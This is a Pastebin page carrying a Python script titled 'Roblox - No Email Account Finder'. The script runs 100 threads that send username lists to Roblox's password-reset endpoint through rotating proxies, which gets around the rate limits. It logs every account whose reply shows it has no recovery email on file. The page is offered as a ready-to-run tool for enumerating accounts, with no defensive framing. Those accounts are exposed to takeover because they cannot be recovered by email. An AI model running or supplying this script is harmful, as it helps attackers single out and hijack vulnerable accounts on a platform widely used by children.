Advertisement
Lakes

Roblox - No Email Account Finder

Jan 12th, 2019
27,549
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.40 KB | None | 0 0
  1. import requests
  2. import threading
  3.  
  4. usernames = [x for x in open("usernames.txt", encoding="UTF-8").read().splitlines()]
  5. proxies = open("proxies.txt").read().splitlines()
  6.  
  7. output_file = open("noemail.txt", "a")
  8.  
  9. def reset_password(un, proxy):
  10.     req = requests.post(
  11.         url="https://api.roblox.com/account/resetpassword",
  12.         json={"username": un},
  13.         proxies={"https":proxy}
  14.     )
  15.     print(req.text)
  16.     return req.json()
  17.  
  18. def thread():
  19.     while True:
  20.         try:
  21.             username = usernames.pop()
  22.             proxy = proxies.pop()
  23.  
  24.             # gotta make sure we have an up-to-date username
  25.             username = requests.get(f"https://api.roblox.com/users/get-by-username?username={username}").json()["Username"]
  26.  
  27.             try:
  28.                 status = reset_password(username, proxy)["Message"]
  29.             except:
  30.                 print(proxy,"fail")
  31.                 usernames.insert(0, username)
  32.                 continue
  33.            
  34.             if status == "Invalid username, or no email exists":
  35.                 output_file.write(username+"\n")
  36.                 output_file.flush()
  37.             elif status == "Too many attempts. Please try again later.":
  38.                 usernames.insert(0, username)
  39.                 proxies.insert(0, proxy)
  40.         except Exception as e:
  41.             print(e)
  42.  
  43. for i in range(100): threading.Thread(target=thread).start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement